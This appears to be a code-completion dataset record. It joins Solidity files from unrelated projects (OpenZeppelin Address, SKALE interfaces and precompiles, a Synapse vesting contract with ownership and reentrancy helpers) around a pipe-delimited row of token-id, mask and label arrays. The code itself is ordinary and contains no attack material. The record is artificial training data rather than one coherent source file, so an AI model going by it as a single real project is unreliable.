* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
IConstantsHolder.sol - SKALE Manager Interfaces
Copyright (C) 2021-Present SKALE Labs
@author Artem Payvin
SKALE Manager Interfaces is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager Interfaces is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager Interfaces. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity >=0.6.10 <0.9.0;
interface IConstantsHolder {
/**
* @dev Emitted when constants updated.
*/
event ConstantUpdated(
bytes32 indexed constantHash,
uint previousValue,
uint newValue
);
function setPeriods(uint32 newRewardPeriod, uint32 newDeltaPeriod) external;
function setCheckTime(uint newCheckTime) external;
function setLatency(uint32 newAllowableLatency) external;
function setMSR(uint newMSR) external;
function setLaunchTimestamp(uint timestamp) external;
function setRotationDelay(uint newDelay) external;
function setProofOfUseLockUpPeriod(uint periodDays) external;
function setProofOfUseDelegationPercentage(uint percentage) external;
function setLimitValidatorsPerDelegator(uint newLimit) external;
function setSchainCreationTimeStamp(uint timestamp) external;
function setMinimalSchainLifetime(uint lifetime) external;
function setComplaintTimeLimit(uint timeLimit) external;
function msr() external view returns (uint);
function launchTimestamp() external view returns (uint);
function rotationDelay() external view returns (uint);
function limitValidatorsPerDelegator() external view returns (uint);
function schainCreationTimeStamp() external view returns (uint);
function minimalSchainLifetime() external view returns (uint);
function complaintTimeLimit() external view returns (uint);
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
Precompiled.sol - SKALE Manager
Copyright (C) 2018-Present SKALE Labs
@author Dmytro Stebaiev
SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.8.11;
library Precompiled {
function bigModExp(uint base, uint power, uint modulus) internal view returns (uint) {
uint[6] memory inputToBigModExp;
inputToBigModExp[0] = 32;
inputToBigModExp[1] = 32;
inputToBigModExp[2] = 32;
inputToBigModExp[3] = base;
inputToBigModExp[4] = power;
inputToBigModExp[5] = modulus;
uint[1] memory out;
bool success;
// solhint-disable-next-line no-inline-assembly
assembly {
success := staticcall(not(0), 5, inputToBigModExp, mul(6, 0x20), out, 0x20)
}
require(success, "BigModExp failed");
return out[0];
}
function bn256ScalarMul(uint x, uint y, uint k) internal view returns (uint , uint ) {
uint[3] memory inputToMul;
uint[2] memory output;
inputToMul[0] = x;
inputToMul[1] = y;
inputToMul[2] = k;
bool success;
// solhint-disable-next-line no-inline-assembly
assembly {
success := staticcall(not(0), 7, inputToMul, 0x60, output, 0x40)
}
require(success, "Multiplication failed");
return (output[0], output[1]);
}
function bn256Pairing(
uint x1,
uint y1,
uint a1,
uint b1,
uint c1,
uint d1,
uint x2,
uint y2,
uint a2,
uint b2,
uint c2,
uint d2)
internal view returns (bool)
{
bool success;
uint[12] memory inputToPairing;
inputToPairing[0] = x1;
inputToPairing[1] = y1;
inputToPairing[2] = a1;
inputToPairing[3] = b1;
inputToPairing[4] = c1;
inputToPairing[5] = d1;
inputToPairing[6] = x2;
inputToPairing[7] = y2;
inputToPairing[8] = a2;
inputToPairing[9] = b2;
inputToPairing[10] = c2;
inputToPairing[11] = d2;
uint[1] memory out;
// solhint-disable-next-line no-inline-assembly
assembly {
success := staticcall(not(0), 8, inputToPairing, mul(12, 0x20), out, 0x20)
}
require(success, "Pairing check failed");
return out[0] != 0;
}
} | SPDX-License-Identifier: AGPL-3.0-only/ | interface ISkaleVerifier {
function verify(
ISkaleDKG.Fp2Point calldata signature,
bytes32 hash,
uint counter,
uint hashA,
uint hashB,
ISkaleDKG.G2Point calldata publicKey
)
external
view
returns (bool);
}
| 13,950,743 | [
1,
3118,
28826,
17,
13211,
17,
3004,
30,
432,
43,
6253,
17,
23,
18,
20,
17,
3700,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
5831,
4437,
79,
5349,
17758,
288,
203,
565,
445,
3929,
12,
203,
3639,
4437,
79,
5349,
3398,
43,
18,
42,
84,
22,
2148,
745,
892,
3372,
16,
203,
3639,
1731,
1578,
1651,
16,
203,
3639,
2254,
3895,
16,
203,
3639,
2254,
1651,
37,
16,
203,
3639,
2254,
1651,
38,
16,
203,
3639,
4437,
79,
5349,
3398,
43,
18,
43,
22,
2148,
745,
892,
12085,
203,
565,
262,
203,
3639,
3903,
203,
3639,
1476,
203,
3639,
1135,
261,
6430,
1769,
203,
97,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: MIT
pragma solidity 0.8.6;
import { ReentrancyGuard } from "./external/openzeppelin/ReentrancyGuard.sol";
import { StableMath } from "./libraries/StableMath.sol";
import { IERC20 } from "./interfaces/IERC20.sol";
import { Ownable } from "./abstract/Ownable.sol";
import { Lockable } from "./abstract/Lockable.sol";
/**
* @title SynapseVesting
* @notice Synapse Network Vesting contract
* @dev Vesting is constantly releasing tokens every block every second
*/
contract SynapseVesting is Ownable, Lockable, ReentrancyGuard {
using StableMath for uint256;
/// @notice address of Synapse Network token
address public snpToken;
/// @notice total tokens vested in contract
/// @dev tokens from not initialized sale contracts are not included
uint256 public totalVested;
/// @notice total tokens already claimed form vesting
uint256 public totalClaimed;
/// @notice staking contract address
/// @dev set by Owner, for claimAndStake
address public stakingAddress;
struct Vest {
uint256 dateStart; // start of claiming, can claim startTokens
uint256 dateEnd; // after it all tokens can be claimed
uint256 totalTokens; // total tokens to claim
uint256 startTokens; // tokens to claim on start
uint256 claimedTokens; // tokens already claimed
}
/// @notice storage of vestings
Vest[] internal vestings;
/// @notice map of vestings for user
mapping(address => uint256[]) internal user2vesting;
struct SaleContract {
address[] contractAddresses; // list of cross sale contracts from sale round
uint256 tokensPerCent; // amount of tokens per cent for sale round
uint256 maxAmount; // max amount in USD cents for sale round
uint256 percentOnStart; // percent of tokens to claim on start
uint256 startDate; // start of claiming, can claim start tokens
uint256 endDate; // after it all tokens can be claimed
}
/// @notice list of sale contract that will be checked
SaleContract[] internal saleContracts;
/// @notice map of users that initialized vestings from sale contracts
mapping(address => bool) public vestingAdded;
/// @notice map of users that were refunded after sales
mapping(address => bool) public refunded;
/// @dev events
event Claimed(address indexed user, uint256 amount);
event Vested(address indexed user, uint256 totalAmount, uint256 endDate);
/**
* @dev Contract initiator
* @param _token address of SNP token
*/
function init(address _token) external onlyOwner {
require(_token != address(0), "_token address cannot be 0");
require(snpToken == address(0), "Init already done");
snpToken = _token;
}
/**
* @dev Add multiple vesting to contract by arrays of data
* @param _users[] addresses of holders
* @param _startTokens[] tokens that can be withdrawn at startDate
* @param _totalTokens[] total tokens in vesting
* @param _startDate date from when tokens can be claimed
* @param _endDate date after which all tokens can be claimed
*/
function massAddHolders(
address[] calldata _users,
uint256[] calldata _startTokens,
uint256[] calldata _totalTokens,
uint256 _startDate,
uint256 _endDate
) external onlyOwner whenNotLocked {
uint256 len = _users.length; //cheaper to use one variable
require((len == _startTokens.length) && (len == _totalTokens.length), "data size mismatch");
require(_startDate < _endDate, "startDate cannot exceed endDate");
uint256 i;
for (i; i < len; i++) {
_addHolder(_users[i], _startTokens[i], _totalTokens[i], _startDate, _endDate);
}
}
/**
* @dev Add new vesting to contract
* @param _user address of a holder
* @param _startTokens how many tokens are claimable at start date
* @param _totalTokens total number of tokens in added vesting
* @param _startDate date from when tokens can be claimed
* @param _endDate date after which all tokens can be claimed
*/
function _addHolder(
address _user,
uint256 _startTokens,
uint256 _totalTokens,
uint256 _startDate,
uint256 _endDate
) internal {
require(_user != address(0), "user address cannot be 0");
Vest memory v;
v.startTokens = _startTokens;
v.totalTokens = _totalTokens;
v.dateStart = _startDate;
v.dateEnd = _endDate;
totalVested += _totalTokens;
vestings.push(v);
user2vesting[_user].push(vestings.length); // we are skipping index "0" for reasons
emit Vested(_user, _totalTokens, _endDate);
}
/**
* @dev Claim tokens from msg.sender vestings
*/
function claim() external {
_claim(msg.sender, msg.sender);
}
/**
* @dev Claim tokens from msg.sender vestings to external address
* @param _target transfer address for claimed tokens
*/
function claimTo(address _target) external {
_claim(msg.sender, _target);
}
/**
* @dev Claim and stake claimed tokens directly in staking contract
* Ask staking contract if user is not in withdrawing state
*/
function claimAndStake() external {
require(stakingAddress != address(0), "Staking contract not configured");
require(IStaking(stakingAddress).canStakeTokens(msg.sender), "Unable to stake");
uint256 amt = _claim(msg.sender, stakingAddress);
IStaking(stakingAddress).onClaimAndStake(msg.sender, amt);
}
/**
* @dev internal claim function
* @param _user address of holder
* @param _target where tokens should be send
* @return amt number of tokens claimed
*/
function _claim(address _user, address _target) internal nonReentrant returns (uint256 amt) {
require(_target != address(0), "Claim, then burn");
if (!vestingAdded[_user] && !refunded[_user]) {
_addVesting(_user);
}
uint256 len = user2vesting[_user].length;
require(len > 0, "No vestings for user");
uint256 cl;
uint256 i;
for (i; i < len; i++) {
Vest storage v = vestings[user2vesting[_user][i] - 1];
cl = _claimable(v);
v.claimedTokens += cl;
amt += cl;
}
if (amt > 0) {
totalClaimed += amt;
_transfer(_target, amt);
emit Claimed(_user, amt);
} else revert("Nothing to claim");
}
/**
* @dev Internal function to send out claimed tokens
* @param _user address that we send tokens
* @param _amt amount of tokens
*/
function _transfer(address _user, uint256 _amt) internal {
require(IERC20(snpToken).transfer(_user, _amt), "Token transfer failed");
}
/**
* @dev Count how many tokens can be claimed from vesting to date
* @param _vesting Vesting object
* @return canWithdraw number of tokens
*/
function _claimable(Vest memory _vesting) internal view returns (uint256 canWithdraw) {
uint256 currentTime = block.timestamp;
if (_vesting.dateStart > currentTime) return 0;
// we are somewhere in the middle
if (currentTime < _vesting.dateEnd) {
// how much time passed (as fraction * 10^18)
// timeRatio = (time passed * 1e18) / duration
uint256 timeRatio = (currentTime - _vesting.dateStart).divPrecisely(_vesting.dateEnd - _vesting.dateStart);
// how much tokens we can get in total to date
canWithdraw = (_vesting.totalTokens - _vesting.startTokens).mulTruncate(timeRatio) + _vesting.startTokens;
}
// time has passed, we can take all tokens
else {
canWithdraw = _vesting.totalTokens;
}
// but maybe we take something earlier?
canWithdraw -= _vesting.claimedTokens;
}
/**
* @dev Read number of claimable tokens by user and vesting no
* @param _user address of holder
* @param _id his vesting number (starts from 0)
* @return amount number of tokens
*/
function getClaimable(address _user, uint256 _id) external view returns (uint256 amount) {
amount = _claimable(vestings[user2vesting[_user][_id] - 1]);
}
/**
* @dev Read total amount of tokens that user can claim to date from all vestings
* Function also includes tokens to claim from sale contracts that were not
* yet initiated for user.
* @param _user address of holder
* @return amount number of tokens
*/
function getAllClaimable(address _user) public view returns (uint256 amount) {
uint256 len = user2vesting[_user].length;
uint256 i;
for (i; i < len; i++) {
amount += _claimable(vestings[user2vesting[_user][i] - 1]);
}
if (!vestingAdded[_user]) {
amount += _claimableFromSaleContracts(_user);
}
}
/**
* @dev Extract all the vestings for the user
* Also extract not initialized vestings from
* sale contracts.
* @param _user address of holder
* @return v array of Vest objects
*/
function getVestings(address _user) external view returns (Vest[] memory) {
// array of pending vestings
Vest[] memory pV;
if (!vestingAdded[_user]) {
pV = _vestingsFromSaleContracts(_user);
}
uint256 pLen = pV.length;
uint256 len = user2vesting[_user].length;
Vest[] memory v = new Vest[](len + pLen);
// copy normal vestings
uint256 i;
for (i; i < len; i++) {
v[i] = vestings[user2vesting[_user][i] - 1];
}
// copy not initialized vestings
if (!vestingAdded[_user]) {
uint256 j;
for (j; j < pLen; j++) {
v[i + j] = pV[j];
}
}
return v;
}
/**
* @dev Read total number of vestings registered
* @return number of registered vestings on contract
*/
function getVestingsCount() external view returns (uint256) {
return vestings.length;
}
/**
* @dev Read single registered vesting entry
* @param _id index of vesting in storage
* @return Vest object
*/
function getVestingByIndex(uint256 _id) external view returns (Vest memory) {
return vestings[_id];
}
/**
* @dev Read registered vesting list by range from-to
* @param _start first index
* @param _end last index
* @return array of Vest objects
*/
function getVestingsByRange(uint256 _start, uint256 _end) external view returns (Vest[] memory) {
uint256 cnt = _end - _start + 1;
uint256 len = vestings.length;
require(_end < len, "range error");
Vest[] memory v = new Vest[](cnt);
uint256 i;
for (i; i < cnt; i++) {
v[i] = vestings[_start + i];
}
return v;
}
/**
* @dev Extract all sale contracts
* @return array of SaleContract objects
*/
function getSaleContracts() external view returns (SaleContract[] memory) {
return saleContracts;
}
/**
* @dev Read total number of sale contracts
* @return number of SaleContracts
*/
function getSaleContractsCount() external view returns (uint256) {
return saleContracts.length;
}
/**
* @dev Read single sale contract entry
* @param _id index of sale contract in storage
* @return SaleContract object
*/
function getSaleContractByIndex(uint256 _id) external view returns (SaleContract memory) {
return saleContracts[_id];
}
/**
* @dev Register sale contract
* @param _contractAddresses addresses of sale contracts
* @param _tokensPerCent sale price
* @param _maxAmount the maximum amount in USD cents for which user could buy
* @param _percentOnStart percentage of vested coins that can be claimed on start date
* @param _startDate date when initial vesting can be released
* @param _endDate final date of vesting, where all tokens can be claimed
*/
function addSaleContract(
address[] memory _contractAddresses,
uint256 _tokensPerCent,
uint256 _maxAmount,
uint256 _percentOnStart,
uint256 _startDate,
uint256 _endDate
) external onlyOwner whenNotLocked {
require(_contractAddresses.length > 0, "data is missing");
require(_startDate < _endDate, "startDate cannot exceed endDate");
SaleContract memory s;
s.contractAddresses = _contractAddresses;
s.tokensPerCent = _tokensPerCent;
s.maxAmount = _maxAmount;
s.startDate = _startDate;
s.percentOnStart = _percentOnStart;
s.endDate = _endDate;
saleContracts.push(s);
}
/**
* @dev Initialize vestings from sale contracts for msg.sender
*/
function addMyVesting() external {
_addVesting(msg.sender);
}
/**
* @dev Initialize vestings from sale contracts for target user
* @param _user address of user that will be initialized
*/
function addVesting(address _user) external {
require(_user != address(0), "User address cannot be 0");
_addVesting(_user);
}
/**
* @dev Function iterate sale contracts and initialize corresponding
* vesting for user.
* @param _user address that will be initialized
*/
function _addVesting(address _user) internal {
require(!refunded[_user], "User refunded");
require(!vestingAdded[_user], "Already done");
uint256 len = saleContracts.length;
uint256 i;
for (i; i < len; i++) {
SaleContract memory s = saleContracts[i];
uint256 sLen = s.contractAddresses.length;
uint256 j;
uint256 amt;
for (j; j < sLen; j++) {
amt += ISaleContract(s.contractAddresses[j]).balanceOf(_user);
}
// amt is in cents, so $100 = 10000
if (amt > 0) {
if (amt > s.maxAmount) {
amt = s.maxAmount;
}
// create Vest object
Vest memory v = _vestFromSaleContractAndAmount(s, amt);
// update contract data
totalVested += v.totalTokens;
vestings.push(v);
user2vesting[_user].push(vestings.length);
emit Vested(_user, v.totalTokens, v.dateEnd);
}
}
vestingAdded[_user] = true;
}
/**
* @dev Function iterate sale contracts and count claimable amounts for given user.
* Used to calculate claimable amounts from not initialized vestings.
* @param _user address of user to count claimable
* @return claimable amount of tokens
*/
function _claimableFromSaleContracts(address _user) internal view returns (uint256 claimable) {
if (refunded[_user]) return 0;
uint256 len = saleContracts.length;
if (len == 0) return 0;
uint256 i;
for (i; i < len; i++) {
SaleContract memory s = saleContracts[i];
uint256 sLen = s.contractAddresses.length;
uint256 j;
uint256 amt;
for (j; j < sLen; j++) {
amt += ISaleContract(s.contractAddresses[j]).balanceOf(_user);
}
// amt is in cents, so $100 = 10000
if (amt > 0) {
if (amt > s.maxAmount) {
amt = s.maxAmount;
}
claimable += _claimable(_vestFromSaleContractAndAmount(s, amt));
}
}
}
/**
* @dev Function iterate sale contracts and extract not initialized user vestings.
* Used to return all stored and not initialized vestings.
* @param _user address of user to extract vestings
* @return v vesting array
*/
function _vestingsFromSaleContracts(address _user) internal view returns (Vest[] memory) {
uint256 len = saleContracts.length;
if (refunded[_user] || len == 0) return new Vest[](0);
Vest[] memory v = new Vest[](_numberOfVestingsFromSaleContracts(_user));
uint256 i;
uint256 idx;
for (i; i < len; i++) {
SaleContract memory s = saleContracts[i];
uint256 sLen = s.contractAddresses.length;
uint256 j;
uint256 amt;
for (j; j < sLen; j++) {
amt += ISaleContract(s.contractAddresses[j]).balanceOf(_user);
}
// amt is in cents, so $100 = 10000
if (amt > 0) {
if (amt > s.maxAmount) {
amt = s.maxAmount;
}
v[idx] = _vestFromSaleContractAndAmount(s, amt);
idx++;
}
}
return v;
}
/**
* @dev Function iterate sale contracts and return number of not initialized vestings for user.
* @param _user address of user to extract vestings
* @return number of not not initialized user vestings
*/
function _numberOfVestingsFromSaleContracts(address _user) internal view returns (uint256 number) {
uint256 len = saleContracts.length;
uint256 i;
for (i; i < len; i++) {
SaleContract memory s = saleContracts[i];
uint256 sLen = s.contractAddresses.length;
uint256 j;
uint256 amt;
for (j; j < sLen; j++) {
amt += ISaleContract(s.contractAddresses[j]).balanceOf(_user);
}
// amt is in cents, so $100 = 10000
if (amt > 0) {
number++;
}
}
}
/**
* @dev Return vesting created from given sale and usd cent amount.
* @param _sale address of user to extract vestings
* @param _amount address of user to extract vestings
* @return v vesting from given parameters
*/
function _vestFromSaleContractAndAmount(SaleContract memory _sale, uint256 _amount) internal pure returns (Vest memory v) {
v.dateStart = _sale.startDate;
v.dateEnd = _sale.endDate;
uint256 total = _amount * _sale.tokensPerCent;
v.totalTokens = total;
v.startTokens = (total * _sale.percentOnStart) / 100;
}
/**
* @dev Set staking contract address for Claim and Stake.
* Only contract owner can set.
* @param _staking address
*/
function setStakingAddress(address _staking) external onlyOwner {
stakingAddress = _staking;
}
/**
* @dev Mark user as refunded
* @param _user address of user
* @param _refunded true=refunded
*/
function setRefunded(address _user, bool _refunded) external onlyOwner whenNotLocked {
require(_user != address(0), "user address cannot be 0");
refunded[_user] = _refunded;
}
/**
* @dev Mark multiple refunded users
* @param _users[] addresses of refunded users
*/
function massSetRefunded(address[] calldata _users) external onlyOwner whenNotLocked {
uint256 i;
for (i; i < _users.length; i++) {
require(_users[i] != address(0), "user address cannot be 0");
refunded[_users[i]] = true;
}
}
/**
* @dev Recover ETH from contract to owner address.
*/
function recoverETH() external {
payable(owner).transfer(address(this).balance);
}
/**
* @dev Recover given ERC20 token from contract to owner address.
* Can't recover SNP tokens.
* @param _token address of ERC20 token to recover
*/
function recoverErc20(address _token) external {
require(_token != snpToken, "Not permitted");
uint256 amt = IERC20(_token).balanceOf(address(this));
require(amt > 0, "Nothing to recover");
IBadErc20(_token).transfer(owner, amt);
}
}
/**
* @title IStaking
* @dev Interface for claim and stake
*/
interface IStaking {
function canStakeTokens(address _account) external view returns (bool);
function onClaimAndStake(address _from, uint256 _amount) external;
}
/**
* @title ISaleContract
* @dev Interface for sale contract
*/
interface ISaleContract {
function balanceOf(address _account) external view returns (uint256);
}
/**
* @title IBadErc20
* @dev Interface for emergency recover any ERC20-tokens,
* even non-erc20-compliant like USDT not returning boolean
*/
interface IBadErc20 {
function transfer(address _recipient, uint256 _amount) external;
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.6;
import { Ownable } from "./Ownable.sol";
abstract contract LockableData {
bool public locked;
}
abstract contract Lockable is LockableData, Ownable {
/**
* @dev Locks functions with whenNotLocked modifier
*/
function lock() external onlyOwner {
locked = true;
}
/**
* @dev Throws if called after it was locked.
*/
modifier whenNotLocked {
require(!locked, "Lockable: locked");
_;
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.6;
abstract contract OwnableData {
address public owner;
address public pendingOwner;
}
abstract contract Ownable is OwnableData {
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev `owner` defaults to msg.sender on construction.
*/
constructor() {
_setOwner(msg.sender);
}
/**
* @dev Transfers ownership to `newOwner`. Either directly or claimable by the new pending owner.
* Can only be invoked by the current `owner`.
* @param _newOwner Address of the new owner.
* @param _direct True if `newOwner` should be set immediately. False if `newOwner` needs to use `claimOwnership`.
*/
function transferOwnership(address _newOwner, bool _direct) external onlyOwner {
if (_direct) {
require(_newOwner != address(0), "zero address");
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
pendingOwner = address(0);
} else {
pendingOwner = _newOwner;
}
}
/**
* @dev Needs to be called by `pendingOwner` to claim ownership.
*/
function claimOwnership() external {
address _pendingOwner = pendingOwner;
require(msg.sender == _pendingOwner, "caller != pending owner");
emit OwnershipTransferred(owner, _pendingOwner);
owner = _pendingOwner;
pendingOwner = address(0);
}
/**
* @dev Throws if called by any account other than the Owner.
*/
modifier onlyOwner() {
require(msg.sender == owner, "caller is not the owner");
_;
}
function _setOwner(address newOwner) internal {
address oldOwner = owner;
owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.6;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.6;
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function balanceOf(address account) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
// EIP 2612
// solhint-disable-next-line func-name-mixedcase
function DOMAIN_SEPARATOR() external view returns (bytes32);
function nonces(address owner) external view returns (uint256);
